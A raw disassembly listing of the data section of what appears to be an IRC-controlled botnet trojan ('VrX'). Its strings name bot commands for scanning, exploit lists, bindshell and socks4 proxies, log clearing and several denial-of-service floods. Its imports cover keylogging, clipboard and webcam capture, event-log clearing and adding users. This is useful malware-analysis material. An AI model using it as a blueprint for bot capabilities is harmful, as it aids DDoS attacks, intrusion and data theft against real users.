aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo
align 4
aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o
; sub_401ACD+17D5o
align 10h
aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o
aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o
align 10h
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o
align 4
aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do
align 4
aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o
aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo
aT: ; DATA XREF: sub_401ACD+16D9o
; ___:00438AFCo
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o
unk_42C628 db 3 ; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0
align 4
unk_42C64C db 3 ; DATA XREF: sub_401ACD+1689o
a81VrxRebooting db '8,1-VrX- Rebooting system.',0
aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o
aI: ; DATA XREF: sub_401ACD+165Do
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401ACD+1648o
align 4
aS_0: ; DATA XREF: sub_401ACD+1633o
; ___:00438B4Co
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo
align 4
aQ: ; DATA XREF: sub_401ACD+1609o
; ___:off_438768o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o
align 10h
aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo
align 10h
aR: ; DATA XREF: sub_401ACD+15B5o
; sub_401ACD+3D8Eo ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o
align 10h
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
align 10h
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o
align 4
aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do
align 10h
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o
align 4
dword_42C70C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o
align 10h
aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo
align 4
dword_42C72C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o
align 10h
dword_42C750 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo
align 10h
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o
align 10h
dword_42C7A0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o
align 4
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co
unk_42C7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42C81C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o
; sub_401ACD+13A3o
dword_42C82C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1302o
; sub_401ACD+139Eo
dword_42C83C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o
; sub_401ACD+137Ao
dword_42C84C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+12E4o
; sub_401ACD+1375o
dword_42C85C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o
; sub_401ACD+13F5o
dword_42C868 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
; sub_401ACD+13F0o
dword_42C874 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
; sub_401ACD+13CCo
dword_42C880 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
; sub_401ACD+13C7o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o
align 4
dword_42C898 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo
; sub_401ACD+12C8o
dword_42C8A4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
; sub_401ACD+12C3o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo
align 4
dword_42C8BC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o
; sub_401ACD+12AAo
dword_42C8CC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11CDo
; sub_401ACD+12A5o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o
align 4
dword_42C8E8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o
; sub_401ACD+1328o
dword_42C8F8 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11A4o
; sub_401ACD+1323o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo
align 4
dword_42C914 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
; sub_401ACD+124Ao
dword_42C920 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
; sub_401ACD+1245o
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o
dword_42C934 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o
; sub_401ACD+122Co
dword_42C940 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
; sub_401ACD+1227o
dword_42C94C dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C958 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo
dword_42C968 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1129o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o
align 4
dword_42C988 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C994 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1100o
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo
align 4
dword_42C9C4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o
align 10h
dword_42C9E0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co
align 4
aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o
align 10h
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o
align 4
dword_42CA08 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1037o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o
; sub_401ACD+1085o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o
align 4
aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o
; sub_401ACD+2D26o
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo
; sub_401ACD+2D15o
align 4
aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o
align 4
aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co
align 4
aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o
align 10h
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o
align 10h
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o
align 4
aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o
; sub_401ACD+EDEo
aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o
align 10h
aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co
a63 db '63',0 ; DATA XREF: sub_401ACD+D69o
align 4
asc_42CAAC: ; DATA XREF: sub_401ACD+D41o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+CF9o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo
align 4
aUser_1 db '$user',0 ; DATA XREF: sub_401ACD+CBBo
align 4
aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o
aD db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo
aD_0 db '$%d-',0 ; DATA XREF: sub_401ACD+B77o
align 4
aK: ; DATA XREF: sub_401ACD+A9Fo
; sub_401ACD+3DBCo
unicode 0, <k>,0
aC: ; DATA XREF: sub_401ACD+A87o
; sub_401ACD+4AA4o
unicode 0, <c>,0
unk_42CAF4 db 2Dh ; - ; DATA XREF: sub_401ACD+A64o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42CB28 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42CB58 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0
align 10h
unk_42CB90 db 2Dh ; - ; DATA XREF: sub_401ACD+9D3o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 10h
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co
align 4
unk_42CBB8 db 2Dh ; - ; DATA XREF: sub_401ACD+91Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42CBFC db 2Dh ; - ; DATA XREF: sub_401ACD+904o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_42CC38 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+8F3o
dd 0A0Dh
dword_42CC50 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo
dword_42CC58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8B4o
dd 0D017325h, 0Ah
dword_42CC74 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o
dword_42CC80 dd 23h ; DATA XREF: sub_401ACD+7FAo
; sub_40CD43+1Bo
unk_42CC84 db 2Dh ; - ; DATA XREF: sub_401ACD+769o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_1 db '%s',0 ; DATA XREF: sub_401ACD+6EAo
; sub_401ACD+979o ...
align 4
aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o
align 10h
dword_42CCC0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o
dword_42CCC8 dd 323333h ; DATA XREF: sub_401ACD+62Fo
; sub_401ACD+AC1o ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do
; sub_409869+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o
; sub_409869+16o
unk_42CCDC db 3 ; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0
align 4
unk_42CCFC db 3 ; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o
align 4
aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o
; sub_401ACD+5CDo
align 10h
aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo
align 10h
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+5F1o
unk_42CD50 db 3 ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2E79o ...
a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0
align 10h
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7A88o ...
align 4
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_417B76:loc_417BDEo
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3BBo ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_417B76+50o
align 4
asc_42CDBC: ; DATA XREF: sub_401ACD+19Ao
; sub_401ACD+7B9Do
unicode 0, <!>,0
asc_42CDC0: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E41o ...
unicode 0, < >,0
asc_42CDC4 db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_4025E6o
align 4
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
; sub_418AF1+65o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o
; sub_418AF1+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_409909+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409909+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_409909+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_409909+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o
aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo
; sub_425029+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao
align 4
unk_42D6C4 db 2Dh ; - ; DATA XREF: sub_40A5C5+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
align 10h
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
